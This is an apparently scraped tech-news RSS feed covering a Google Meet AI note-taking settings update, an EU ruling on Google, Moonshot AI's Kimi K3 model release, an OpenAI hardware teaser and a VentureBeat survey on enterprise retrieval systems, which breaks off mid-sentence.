<content:encoded><![CDATA[<p>To help users remember to capture notes for meetings when it’s most valuable, we’re updating the admin and end user settings that let them pre-configure AI note-taking for Google Meet.</p><h4>Admin settings</h4><p>Previously, admins could only enable or disable automatic note-taking for all meetings. Today, we’re starting to roll out a third option, which will allow admins to enable automatic note-taking only for meetings with three or more people.</p><p>Customers on <b>Business Standard and Business Plus plans</b> will soon see this setting turned <b>ON by default</b>; the setting will be <b>OFF by default</b> for customers on <b>Enterprise Standard, Enterprise Plus, and Frontline Plus plans, as well as those with the Google AI Pro for Education add-on.</b> There will be no impact to the end user experience on any plan before September 21, 2026. If you want to change your settings, you can do so in the Admin console.</p><p><b>If you currently participate in the <a href="https://workspaceupdates.googleblog.com/2026/02/new-take-notes-for-me-configuration-in-admin-console-for-select-gemini-alpha-customers.html" target="_blank">Gemini Alpha program</a>, and previously tested this setting, it may already be ON.</b> Please review the current state of the settings for your organization in the Admin console before September 21, 2026.</p><p><br></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic_OSbGR0fwBG4msocDfSSguGINPugjcREgLF4SHipY0cUB__xjm_iRrs7wGhKCVavLJnc5OTvf-iasWbHSfxD4o_1QItnzRBw0qF0sspBY_cOXvT3tv2uZsAg5I5LbTw0QFpDZzTCv4N2U4uQSzT88WWPi4QT7b5__UYYsqc6ayY1rGZhS_fRpP2h9WE/s1836/New%20Google%20Meet%20'Take%20notes%20for%20me'%20settings%20for%20admins%20and%20end%20users%20-%206508.png"><img border="0" data-original-height="948" data-original-width="1836" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEic_OSbGR0fwBG4msocDfSSguGINPugjcREgLF4SHipY0cUB__xjm_iRrs7wGhKCVavLJnc5OTvf-iasWbHSfxD4o_1QItnzRBw0qF0sspBY_cOXvT3tv2uZsAg5I5LbTw0QFpDZzTCv4N2U4uQSzT88WWPi4QT7b5__UYYsqc6ayY1rGZhS_fRpP2h9WE/s1600/New%20Google%20Meet%20'Take%20notes%20for%20me'%20settings%20for%20admins%20and%20end%20users%20-%206508.png"></a></div><h4>End user settings</h4><p>We’re also introducing a way for end users to enable note-taking only for meetings with three or more participants. Once the “For all meetings I host with 3+ guests” option rolls out, users should revisit their settings to confirm they’re configured as desired. This option will become available no sooner than September 21; stay tuned to the Workspace Updates blog to be notified when that rollout starts.</p><p><br></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9v9CuxrTcrnH_UetM2jS-kaJbExG2mXq9SKmhTb7JFEk1bKjkFnf5602JQkscPujszT8qpqOacJaqrNwKyq66Q76ckjHeXPSB46Qwzso2lsNtg2kcfoyEYS0FxuIPoZyeVe3rEhSiKHqlzTqf4nLw_XCHDKw1iOS0nsJ9zKpoAvF7qSGiQfH60fKsVg4/s2048/New%20Google%20Meet%20'Take%20notes%20for%20me'%20settings%20for%20admins%20and%20end%20users%20-%206508%20-%201.png"><img border="0" data-original-height="1420" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9v9CuxrTcrnH_UetM2jS-kaJbExG2mXq9SKmhTb7JFEk1bKjkFnf5602JQkscPujszT8qpqOacJaqrNwKyq66Q76ckjHeXPSB46Qwzso2lsNtg2kcfoyEYS0FxuIPoZyeVe3rEhSiKHqlzTqf4nLw_XCHDKw1iOS0nsJ9zKpoAvF7qSGiQfH60fKsVg4/s1600/New%20Google%20Meet%20'Take%20notes%20for%20me'%20settings%20for%20admins%20and%20end%20users%20-%206508%20-%201.png"></a></div><h3>Getting started</h3><p></p><ul><li><b>Admins for Business Standard and Business Plus organizations: </b>This new setting is ON by default. If you wish to change your settings, you should do so before September 21, 2026, to avoid any impact for end users. Visit the Help Center for <a href="https://knowledge.workspace.google.com/admin/meet/let-google-meet-ai-take-notes-for-my-users?visit_id=639183605324050647-2510769763&amp;rd=1" target="_blank">more information on how to adjust these settings</a>.</li><li><b>Admins for Enterprise Standard, Enterprise Plus, Frontline Plus, and Google AI Pro for Education organizations:</b> This new setting is OFF by default. You can adjust this setting in the Admin console once it appears, but it will not affect the end user experience before September 21, 2026. Visit the Help Center for <a href="https://knowledge.workspace.google.com/admin/meet/let-google-meet-ai-take-notes-for-my-users?visit_id=639183605324050647-2510769763&amp;rd=1" target="_blank">more information on how to adjust these settings</a>.</li><li><b>Admins for organizations participating in Gemini Alpha program:</b> Your settings may be impacted by previous configurations. Please review your settings before September 21, 2026, to ensure they’re configured correctly.</li><li><b>End users on all plans: </b>The default set by admins will go into effect for end users no sooner than September 21, 2026. Users can override this default in the Meet user settings after that date. Visit the Help Center to <a href="https://support.google.com/meet/answer/16909639" target="_blank">learn more about Meeting settings for “take notes for me”</a>.</li></ul><p></p><h3>Rollout pace</h3><h4>Admin setting</h4><p></p><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release and Scheduled Release domains:</a> Rolling out now, with expected completion by August 3, 2026</li></ul><p></p><h4>End user setting</h4><p></p><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release and Scheduled Release domains:</a> Gradual rollout (up to 15 days for feature visibility) starting no sooner than September 21, 2026*</li></ul><p></p><p>*We’ll post an update on the Workspace Updates blog when the end user setting rollout begins.</p><h3>Availability</h3><p></p><ul><li><b>Business:</b> Business Standard and Plus</li><li><b>Enterprise: </b>Enterprise Standard and Plus</li><li><b>Other Editions:</b> Frontline Plus</li><li><b>Education Add-ons:</b> Google AI Pro for Education</li></ul><p></p><h3>Resources</h3><p></p><ul><li>Google Meet Help: <a href="https://support.google.com/meet/answer/14754931" target="_blank">Take notes for me in Google Meet</a></li><li>Google Workspace Updates  Blog: <a href="https://workspaceupdates.googleblog.com/2026/02/new-user-controls-for-take-notes-for-me.html" target="_blank">New user controls for Take notes for me</a></li></ul><p></p>]]></content:encoded>
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<title><![CDATA[Build enterprise search for agents with Amazon Bedrock Managed Knowledge Base]]></title>
<description><![CDATA[In this post, we walk through the three pillars that make this possible: simplified setup, smarter retrieval, and production readiness. We also show you code examples for setting up a knowledge base and retrieving from it.]]></description>
<link>https://tsecurity.de/de/3674684/ai-nachrichten/build-enterprise-search-for-agents-with-amazon-bedrock-managed-knowledge-base/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674684/ai-nachrichten/build-enterprise-search-for-agents-with-amazon-bedrock-managed-knowledge-base/</guid>
<pubDate>Thu, 16 Jul 2026 23:33:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[In this post, we walk through the three pillars that make this possible: simplified setup, smarter retrieval, and production readiness. We also show you code examples for setting up a knowledge base and retrieving from it.]]></content:encoded>
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<title><![CDATA[EU Forces Google To Share Search Data, Open Android To Rivals]]></title>
<description><![CDATA[The EU is imposing new rules requiring Google to share anonymized search data and open up Android to rival AI companies. "Thanks to these measures, we hope to see emerging alternatives to Google Search and Google's AI services, such as Gemini, and that users in the EU can enjoy greater choice of ...]]></description>
<link>https://tsecurity.de/de/3674670/it-security-nachrichten/eu-forces-google-to-share-search-data-open-android-to-rivals/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674670/it-security-nachrichten/eu-forces-google-to-share-search-data-open-android-to-rivals/</guid>
<pubDate>Thu, 16 Jul 2026 23:23:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The EU is imposing new rules requiring Google to share anonymized search data and open up Android to rival AI companies. "Thanks to these measures, we hope to see emerging alternatives to Google Search and Google's AI services, such as Gemini, and that users in the EU can enjoy greater choice of services," Henna Virkkunen, an executive vice president at the European Commission overseeing tech, said. The Associated Press reports: In issuing the two new rules, the commission said it found that AI agents not made by Google were unable to function on Android phones at the same level as Google's Gemini. Google must now allow voice-activation of these alternative AI agents and enable them to run background tasks like booking restaurants via third-party apps. By January 2027, Google must also begin sharing anonymized search data with some rivals. The commission said the move is meant to level the playing field since Google controls a vast trove of user data that no competitor can match. Google argues the measures could weaken privacy and security by exposing user searches and reducing safeguards around third-party AI assistants. "Europeans' private searches would be exposed to unfamiliar companies, without adequate anonymization of the data and without user knowledge or consent," said Kent Walker, president of global affairs for Google and Alphabet. "This would weaken citizens' privacy, risk business trade secrets, and endanger national security."<p></p><div class="share_submission">
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<title><![CDATA[China’s Moonshot AI releases Kimi K3, the largest open-source model ever, rivaling top U.S. systems]]></title>
<description><![CDATA[Moonshot AI, the Beijing-based artificial intelligence startup backed by Alibaba, on Thursday released Kimi K3 — a 2.8-trillion-parameter model that the company says is now the largest open-source AI model in the world, and one that benchmarks show performs neck-and-neck with the most powerful pr...]]></description>
<link>https://tsecurity.de/de/3674665/it-nachrichten/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-us-systems/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674665/it-nachrichten/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-us-systems/</guid>
<pubDate>Thu, 16 Jul 2026 23:17:55 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://www.moonshot.ai/">Moonshot AI,</a> the Beijing-based artificial intelligence startup backed by Alibaba, on Thursday released <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> — a 2.8-trillion-parameter model that the company says is now the largest open-source AI model in the world, and one that benchmarks show performs neck-and-neck with the most powerful proprietary systems from <a href="https://www.anthropic.com/">Anthropic</a> and <a href="https://openai.com/">OpenAI</a>.</p><p>The release, timed to land just ahead of the <a href="https://aiii.global/waic-2026/">2026 World Artificial Intelligence Conference</a> in Shanghai, is a dramatic escalation in the global AI arms race and a watershed moment for the open-source AI movement. It also marks a remarkable comeback for a company whose market position had eroded significantly over the past 18 months following DeepSeek's meteoric rise.</p><p>Full model weights are scheduled to be released on July 27, according to details shared by researchers who reviewed the company's technical documentation. If you want to take <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> for a spin right now, you can — just head to<a href="https://www.kimi.com/"> kimi.com</a>, sign up with a Google account or phone number (no credit card required), and start chatting with what may be the most powerful open-source model ever built.</p><div></div><h2><b>Inside the architecture that powers the world's largest open-source AI model</b></h2><p><a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> is a frontier-class large language model with 2.8 trillion total parameters — roughly 75 percent larger than <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">DeepSeek's V4 Pro</a>, which the company's own timeline chart shows at approximately 1.6 trillion parameters. The model features a 1-million-token context window, native visual understanding capabilities, and an always-on reasoning mode that the company calls "thinking mode."</p><p>The model is built on two key architectural innovations developed internally at Moonshot AI: <a href="https://arxiv.org/abs/2510.26692">Kimi Delta Attention</a>, a hybrid linear attention mechanism, and <a href="https://arxiv.org/abs/2603.15031">Attention Residuals</a>, which the company describes as a drop-in replacement for residual connections that delivers consistent scaling gains. Both techniques were previously published as open research by the Moonshot team on <a href="https://github.com/moonshotai">GitHub</a>.</p><p>On the <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">API side</a>, Kimi K3 is compatible with the <a href="https://developers.openai.com/api/docs/guides/agents">OpenAI SDK</a>, lowering the integration barrier for developers already building on OpenAI or Anthropic toolchains. The model is priced at $3 per million input tokens and $15 per million output tokens, with cached input tokens dropping to just $0.30 per million — pricing that positions it roughly in line with mid-tier offerings from Western labs, but at a performance level the company claims approaches the top of the market. A promotional top-up rebate running through August 12 offers up to 30 percent back in vouchers for API credits of $1,000 or more.</p><p>As <a href="https://finance.sina.com.cn/stock/t/2026-07-17/doc-inihzrtu1375218.shtml?cref=cj">Xinhua reported</a>, a Moonshot AI executive explained the significance of the parameter count in simple terms: parameters are like neural connections in the human brain, and nearly 3 trillion of them means the model can "store more knowledge and patterns in its brain, understand more, think deeper, and answer more accurately."</p><div></div><h2><b>Benchmark results show Kimi K3 trading blows with Claude and GPT at the top of the leaderboard</b></h2><p>The benchmark results, drawn from public leaderboard data and a private evaluation by analytics firm Artificial Analysis, tell a striking story.</p><p>On <a href="https://artificialanalysis.ai/evaluations/gdpval-aa">GDPval-AA v2</a>, a benchmark measuring real-world tasks across 44 occupations and 9 major industries, Kimi K3 scored 1,687 — placing it third overall, behind only Claude Fable 5 Max (1,815) and GPT-5.6 Sol Max (1,747.8), and ahead of Claude Opus 4.8 (1,600).</p><p>On <a href="https://artificialanalysis.ai/evaluations/aa-briefcase">AA-Briefcase</a>, a private agentic benchmark from Artificial Analysis designed to test long-horizon knowledge work, K3 climbed to second place with a score of 1,527 — beating GPT-5.6 Sol Max (1,495) and trailing only Fable 5 Max (1,587).</p><p>Perhaps most impressively, K3 achieved a state-of-the-art score of 91.2 out of 100 on <a href="https://openai.com/index/browsecomp/">BrowseComp</a>, a benchmark for long-horizon, high-difficulty information seeking. </p><p>The company says it accomplished this in a single-agent setup using its 1-million-token context window, without any context compression or additional context management techniques — a feat that suggests raw context length, when paired with strong retrieval capabilities, may be more powerful than elaborate multi-agent workarounds.</p><p>As <a href="https://x.com/kimmonismus/status/2077818040578695175">one widely followed AI commentator</a> put it on social media: "Open source is no longer lagging six months behind Western closed-source models. Read that again, and think about what it all means."</p><p>That observation captures the significance of the moment. For much of the past three years, open-source models have typically trailed their proprietary counterparts by a meaningful margin. Kimi K3 appears to have closed that gap almost entirely.</p><h2><b>How a 48-hour autonomous chip design demo reveals Moonshot's real ambitions</b></h2><p>Beyond raw benchmarks, <a href="https://www.moonshot.ai/">Moonshot AI</a> showcased a proof-of-concept that may be even more revealing of K3's capabilities and the company's strategic direction.</p><p>In a demonstration documented in the company's technical materials, <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> was tasked with designing a physical chip to run a nano-scale version of itself. Over 48 hours of continuous autonomous agent operation, K3 independently completed the chip's full construction pipeline — from architectural design through optimization and verification — using open-source electronic design automation tools. The result was a tiny but functional chip design, just 4 square millimeters, that achieved timing convergence at 100 MHz and could decode more than 8,700 tokens per second in simulation.</p><p>This is not a production chip. It is a demonstration of what <a href="https://www.moonshot.ai/">Moonshot AI</a> clearly views as the next competitive frontier: long-range autonomous agent capabilities. The ability to sustain coherent, multi-step technical work over a 48-hour window — reading documentation, making design decisions, running verification loops, and iterating on failures — represents a qualitative leap beyond the kind of single-turn question-answering that defined the first generation of large language models.</p><p>The company also highlighted a case in computational astrophysics, where K3 reportedly reproduced the universal <a href="https://inspirehep.net/literature/1220233">I-Love-Q relation</a> — a complex calculation that typically takes a senior researcher one to two weeks — in approximately two hours, reading and cross-validating more than 20 papers and implementing a complete numerical pipeline along the way.</p><h2><b>Moonshot AI's fall and rise tells the story of China's brutal AI market</b></h2><p>To understand why <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> matters, you need to understand where Moonshot AI was 18 months ago — and how far it fell.</p><p>Founded in 2023 by <a href="https://kimiyoung.github.io/">Yang Zhilin</a>, a Tsinghua University graduate who previously conducted research at Google and Meta, Moonshot AI quickly became one of China's most prominent AI startups. The company gained early traction in 2024 when users flocked to its <a href="http://kimi.ai/">Kimi platform</a> for its long-text analysis capabilities and AI search functions. By early 2026, it had raised roughly <a href="https://www.forbes.com/sites/the-prompt/2026/07/15/ai-startup-reflection-compute-deal-to-challenge-chinas-open-source-dominance/">$1.5 billion</a> across multiple rounds, with its valuation climbing from $2.5 billion to $4.3 billion and the company reportedly <a href="https://tech.yahoo.com/ai/gemini/articles/china-moonshot-releases-open-source-141110760.html">seeking a new round at $5 billion</a>.</p><p>Then DeepSeek happened. The release of DeepSeek's low-cost R1 model in January 2025 disrupted the entire Chinese AI landscape, and Moonshot AI was among the hardest hit. Kimi, which had ranked third in monthly active users in China, slid to seventh. The company's strategic pivot to open-source models — beginning with Kimi K2 in July 2025 and accelerating with K2.5 in January 2026 — was in large part an effort to reclaim relevance.</p><p><a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">Kimi K3</a> is the culmination of that effort — and the sheer scale of the model suggests that Moonshot AI has been planning this move for some time. Training a 2.8-trillion-parameter model requires enormous computational resources and months of preparation, which means the architectural and infrastructure decisions behind K3 were likely locked in well before the model reached the public.</p><h2><b>Why open-sourcing the world's biggest model is a geopolitical chess move</b></h2><p>The decision to release K3's full weights on July 27 is strategically significant and worth parsing carefully.</p><p>The company's own timeline chart of open-source frontier model scale positions K3 as a dramatic outlier, towering above competitors like <a href="https://github.com/deepseek-ai">DeepSeek</a> (1.6T), <a href="https://github.com/xiaomi">Xiaomi</a> (1.02T), and <a href="https://github.com/ALIBABA">Alibaba</a> (397B). By releasing the world's largest open-source model, Moonshot AI is making a bid to become the center of gravity for the global open-source AI developer community.</p><p>This follows a broader trend among Chinese AI companies. As <a href="https://www.reuters.com/technology/artificial-intelligence/china-weighs-silicon-curtain-around-sought-after-ai-models-2026-07-08/">Reuters noted</a>, open-sourcing allows companies to "showcase their technological capabilities and expand developer communities as well as their global influence, a strategy likely to help China counter U.S. efforts to limit Beijing's tech progress." DeepSeek, Alibaba, Tencent, and Baidu have all released open-source models. But none have released anything at this parameter count.</p><p>For enterprise technology leaders, the implications are concrete. A 2.8-trillion-parameter open-source model that performs at near-frontier levels creates new options for companies that want to fine-tune, self-host, or build proprietary systems on top of a capable base model — without being locked into API contracts with OpenAI or Anthropic. The trade-off, of course, is that running a model of this size requires substantial GPU infrastructure. Inference at 2.8 trillion parameters is not something that runs on a single server rack.</p><p>That said, <a href="https://www.moonshot.ai/">Moonshot AI</a> has signaled awareness of this challenge. Its Mooncake project, which won the Best Paper award at FAST 2025, pioneered KV-cache-centric disaggregated serving for large language models — an architecture designed specifically to make inference at extreme scale more practical and cost-efficient.</p><h2><b>Kimi Code and a three-tier model lineup form the foundation of Moonshot's enterprise play</b></h2><p>Alongside K3, Moonshot AI continues to invest heavily in its coding agent ecosystem. <a href="https://github.com/MoonshotAI/kimi-code/releases">Kimi Code</a>, the company's open-source coding tool that competes with Anthropic's Claude Code and Google's Gemini CLI, received two major updates on the same day as K3's launch — versions 0.25.0 and 0.26.0 — adding features like expanded subagent tooling, background task management, and security fixes.</p><p>The <a href="https://github.com/MoonshotAI/kimi-cli">Kimi Code CLI</a> has accumulated over 3,100 stars on GitHub and features integration with VSCode, Cursor, and Zed. The latest release expanded the "coder subagent" tool set to include background tasks, todo lists, plan mode, skill invocation, and nested agents — effectively turning the coding agent into a multi-layered autonomous system capable of managing complex software engineering projects with minimal human intervention.</p><p>This is not incidental. Coding tools have become a critical revenue driver for AI labs. As Anthropic disclosed in January, <a href="https://www.anthropic.com/news/anthropic-acquires-bun-as-claude-code-reaches-usd1b-milestone">Claude Code reached $1 billion in annualized recurring revenue</a>. By building Kimi Code as an open-source alternative that defaults to Kimi's own models — but supports other providers — Moonshot AI is positioning itself to capture developer workflows and, eventually, enterprise contracts.</p><p>The company's model lineup now includes three tiers: <a href="https://platform.kimi.ai/docs/guide/kimi-k3-quickstart">K3</a> as the flagship ($3/$15 per million tokens for input/output), <a href="https://platform.kimi.ai/docs/guide/kimi-k2-7-code-quickstart">K2.7 Code</a> as a specialized coding model ($0.95/$4), and <a href="https://platform.kimi.ai/docs/guide/kimi-k2-6-quickstart">K2.6</a> as a general-purpose option ($0.95/$4). All three support context windows of 256,000 tokens or above, with K3 offering the full 1-million-token window. Context caching is automatic — no cache ID, TTL, or extra parameter is required — a small but meaningful developer-experience advantage over competitors that require explicit cache management.</p><h2><b>What Kimi K3 means for the future of enterprise AI and the global model landscape</b></h2><p>Kimi K3's release forces a recalibration of several assumptions that have guided enterprise AI strategy.</p><p>The performance gap between open-source and proprietary models has functionally closed at the frontier. If K3's benchmark numbers hold up under independent evaluation — and particularly once the open weights are available for community testing on July 27 — it will be difficult for closed-source providers to justify premium pricing purely on the basis of capability.</p><p>The locus of AI innovation, meanwhile, continues to shift. China's AI ecosystem, which many Western observers questioned after early struggles with chip export restrictions, has now produced a model that competes with the best systems from companies with direct access to Nvidia's most advanced hardware. The architectural innovations behind K3 — particularly the hybrid linear attention mechanism — suggest that algorithmic efficiency may matter as much as raw compute.</p><p>And the agentic capabilities demonstrated by K3 — chip design, multi-week research compression, long-horizon information seeking — point toward a future where AI models are not just answering questions but autonomously executing complex, multi-day projects. For enterprises evaluating AI investments, this shifts the value proposition from "productivity copilot" to "autonomous technical workforce."</p><p><a href="https://finance.sina.com.cn/stock/t/2026-07-17/doc-inihzrtu1375218.shtml?cref=cj">Xinhua</a>, China's state news agency, framed the release as a national milestone, reporting that K3 "marks a new step forward in the development of China's artificial intelligence models." Liu Tieyan, dean of the Zhongguancun Academy in Beijing, was quoted as saying that a wave of Chinese open-source models has moved from isolated breakthroughs to collective advancement, providing "new solutions and new paths" for global AI development.</p><p>Just two years ago, <a href="https://www.moonshot.ai/">Moonshot AI</a> was a scrappy startup named for the audacious problems it hoped to solve. Eighteen months ago, it was a cautionary tale about how quickly a market darling can lose its footing. Today, it is the maker of the world's largest open-source AI model — one that can, given 48 hours and an internet connection, design a chip to run itself. The frontier, it turns out, is not a place. It is a race. And the field just got a lot more crowded.</p><p>
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<title><![CDATA[OpenAI’s First Device Explained: Everything We Know About the Screenless AI Speaker]]></title>
<description><![CDATA[OpenAI is reportedly developing a portable screenless AI speaker with cameras, sensors, GPT-Live, and moving parts.
The post OpenAI’s First Device Explained: Everything We Know About the Screenless AI Speaker appeared first on TechRepublic.]]></description>
<link>https://tsecurity.de/de/3674370/it-nachrichten/openais-first-device-explained-everything-we-know-about-the-screenless-ai-speaker/</link>
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<pubDate>Thu, 16 Jul 2026 20:16:36 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>OpenAI is reportedly developing a portable screenless AI speaker with cameras, sensors, GPT-Live, and moving parts.</p>
<p>The post <a href="https://www.techrepublic.com/article/news-openai-screenless-ai-speaker-hardware-2026/">OpenAI’s First Device Explained: Everything We Know About the Screenless AI Speaker</a> appeared first on <a href="https://www.techrepublic.com/">TechRepublic</a>.</p>]]></content:encoded>
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<title><![CDATA[The AI context gap: Enterprise AI organizations have a trust problem, not a retrieval problem — and most are still building the fix]]></title>
<description><![CDATA[Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define...]]></description>
<link>https://tsecurity.de/de/3674340/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674340/it-nachrichten/the-ai-context-gap-enterprise-ai-organizations-have-a-trust-problem-not-a-retrieval-problem-and-most-are-still-building-the-fix/</guid>
<pubDate>Thu, 16 Jul 2026 20:02:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 101 enterprises, the infrastructure that feeds AI agents their business context is being built faster than it can be trusted. Retrieval-augmented generation is already the default context source, and provider-native retrieval has quietly overtaken the dedicated vector databases that define the category — yet a majority of enterprises have already watched their agents produce confident, wrong answers traced to missing or inconsistent context. A governed semantic layer is emerging as the fix, but most are still building it; the field is converging on hybrid retrieval; and even as provider-native tools lead in practice, a plurality say they intend to keep best-of-breed. The result is a context gap — agents that sound authoritative running on a foundation their owners do not yet fully trust.</p><p>This wave of VentureBeat Pulse Research examines the enterprise RAG and context layer: what feeds AI agents their business context, which retrieval systems enterprises run, how they buy and measure them, where the architecture is heading, and — most revealingly — how often that context is already failing them.</p><p>The central finding is a context gap — the distance between how confidently enterprise agents answer and how reliable the context beneath them actually is. A majority of enterprises (57%) report that in the past six months their AI agents produced confident but wrong answers they traced to missing or inconsistent business context, and more than half of those said it happened more than once. This is not a fringe failure: retrieval is the primary context source for 38% of enterprises, more than any other approach, so when retrieval is thin or inconsistent, the errors it produces are wearing the agent’s authority. The infrastructure to fix it is being built — 58% already run or are building a governed semantic layer — but for most it is not yet in production.</p><p>Underneath, the market is consolidating in a direction that surprises. Provider-native retrieval — OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) — already leads every dedicated vector database, and enterprises expect hybrid retrieval to dominate by the end of 2026 (34%). Yet a plurality (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack, and a majority (57%) plan to switch or add a provider within the year. Stated preference and actual usage are pulling in opposite directions — the market is buying provider-native while insisting it wants independence.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series. This survey focused on enterprise RAG infrastructure and the context layer — the retrieval systems, semantic layers, and context sources that feed AI agents. Responses are filtered to organizations with more than 100 employees (n=101); the survey drew no responses from organizations of 100 or fewer, so the full sample qualifies. All responses are from a single Q2 2026 (June) wave, so the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 251–1,000 employees (31%) and 101–250 (31%) lead, with 1,001–5,000 (20%), 5,001–10,000 (12%), and 10,001+ (7%) above them. By role it spans managers (39%), individual contributors (27%), the C-suite (16%), and VPs and directors (14%); on purchasing authority it is buyer-credible, with 46% final decision-makers and another 26% recommenders or influencers. Technology/Software is the largest industry at 20%, followed by Healthcare/Life Sciences (11%) and a broad spread across retail, transportation, financial services, manufacturing, and education.</p><p>At 101 respondents this is a modest sample and should be read as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It is best read as the view from organizations actively standing up RAG and context infrastructure rather than from the largest operators.</p><h2>Finding 1: Confident and wrong</h2><p><b>More than half have traced agent errors to bad context</b></p><p>We asked whether, in the past six months, enterprises had traced a confident but wrong agent answer to missing or inconsistent business context. Most had.</p><div></div><p>This is the report’s defining number. A majority of enterprises (57%) have already had an AI agent produce a confident, wrong answer they traced to bad context — wrong metrics, stale definitions, or missing documents — and more than half of those have seen it happen more than once. Only 28% report no such failure, and a small remainder either don’t run agents on enterprise data or don’t trace root cause closely enough to know. </p><p>The failure mode is specific and dangerous: the model is not obviously hallucinating; it is confidently wrong because the context feeding it was thin or inconsistent. Everything else in this report — what enterprises retrieve, how they govern it, and what they plan to build — is downstream of this problem.</p><h2>Finding 2: RAG is the default context source</h2><p><b>Retrieval feeds more agents than any other method</b></p><p>We asked what an enterprise’s AI agents primarily use to understand its data. Retrieval leads by a wide margin.</p><div></div><p>Retrieval is the backbone of enterprise context. For 38% of organizations, RAG over documents or a vector index is the primary way agents understand the business — nearly twice the share of the next approach, a governed semantic layer or ontology (21%). Mixed approaches (14%), direct live-system queries (10%), and long-context loading (6%) fill out the rest, and only 2% let agents run on the model’s general knowledge alone. The concentration matters in light of Finding 1: because so much enterprise context flows through retrieval, the quality of that retrieval is the quality of the answer. When RAG is the default source, thin retrieval is not an edge case — it is the main failure surface.</p><p>One approach is notable for its absence from these answers: customizing model weights, also known as fine-tuning. Every leading source of business context is injected at run time. Our most recent direct measurement of fine-tuning comes from our April–May survey wave (a separate survey, n=136), where fine-tuning capabilities ranked last of six factors in model selection at 5% — even as 26% of that sample still named fine-tuning and customization an investment they expect to grow. Fine-tuning has fallen out of the primary selection conversation; context injection is how enterprises make agents knowledgeable about their business.</p><h2>Finding 3: Provider-native retrieval already leads the vector databases</h2><p><b>OpenAI file search and vertex AI search top the dedicated tools</b></p><p>We asked which retrieval systems enterprises run in production today. The answer favors the model providers and hyperscalers over the specialists.</p><div></div><p>The dedicated vector database is no longer the center of the RAG stack. OpenAI’s file search (40%) and Google’s Vertex AI Search (38%) lead — provider-native and hyperscaler-native retrieval — ahead of every purpose-built vector database. Among the specialists, the most-used is the one enterprises already run for other reasons (Elasticsearch/OpenSearch, 20%) and the open, embedded option (pgvector, 12%); the pure-play vector databases that define the category — Weaviate, Qdrant, Pinecone, Milvus — each sit in single digits to low double digits. Notably, 13% of enterprises say they still run no production RAG at all. As with the platforms in the parallel infrastructure wave, enterprises are gravitating to retrieval that comes bundled with tools they already buy.</p><p>The shape of this finding held across both Q2 waves. In April–May (n=161), provider-built retrieval led usage there too, while every dedicated vector database remained marginal — the most-used standalone vector database peaked at 8% of that sample — and the hybrid, pluralistic future was already the consensus expectation (34% expected hybrid retrieval to dominate, with another 29% expecting multiple architectures by use case). Two waves, consistent picture: the category that coined the “vector database” term is being collected by the platforms enterprises already buy from.</p><h2>Finding 4: But they say they want to keep best-of-breed</h2><p><b>A plurality resist consolidating onto a provider’s native stack</b></p><p>We asked how enterprises will respond as model providers bundle retrieval, memory, and orchestration into their platforms. Their stated intent cuts against their current usage.</p><div></div><p>Here is the tension at the heart of the stack. Even as provider-native retrieval leads in practice (Finding 3), a plurality of enterprises (36%) say they intend to keep best-of-breed standalone tools rather than consolidate onto a provider’s native context stack — well ahead of the 21% who plan to consolidate. Another 21% expect a mix, and 9% intend to build and own the layer themselves. The gap between what enterprises run and what they say they want is the strategic question of the category: they are adopting bundled retrieval for convenience while asserting they will preserve independence. Which impulse wins — the pull of the provider bundle or the stated preference for modular control — will shape the retrieval market more than any single tool.</p><h2>Finding 5: Hybrid retrieval is the consensus bet</h2><p><b>Vector-only retrieval is already seen as insufficient</b></p><p>We asked which retrieval architecture enterprises expect to dominate their production RAG systems by the end of 2026. The field is converging — with a large share still unsure.</p><div></div><p>The architecture is settling on hybrid. A third (34%) expect hybrid retrieval — embeddings combined with reranking and access controls — to dominate their production systems by the end of 2026, three times the 11% who expect vector-only retrieval to prevail. That is a notable signal: the pure vector-search approach that launched the category is already viewed as insufficient on its own, superseded by pipelines that add reranking for accuracy and access controls for governance — the very access controls whose absence produces the failures in 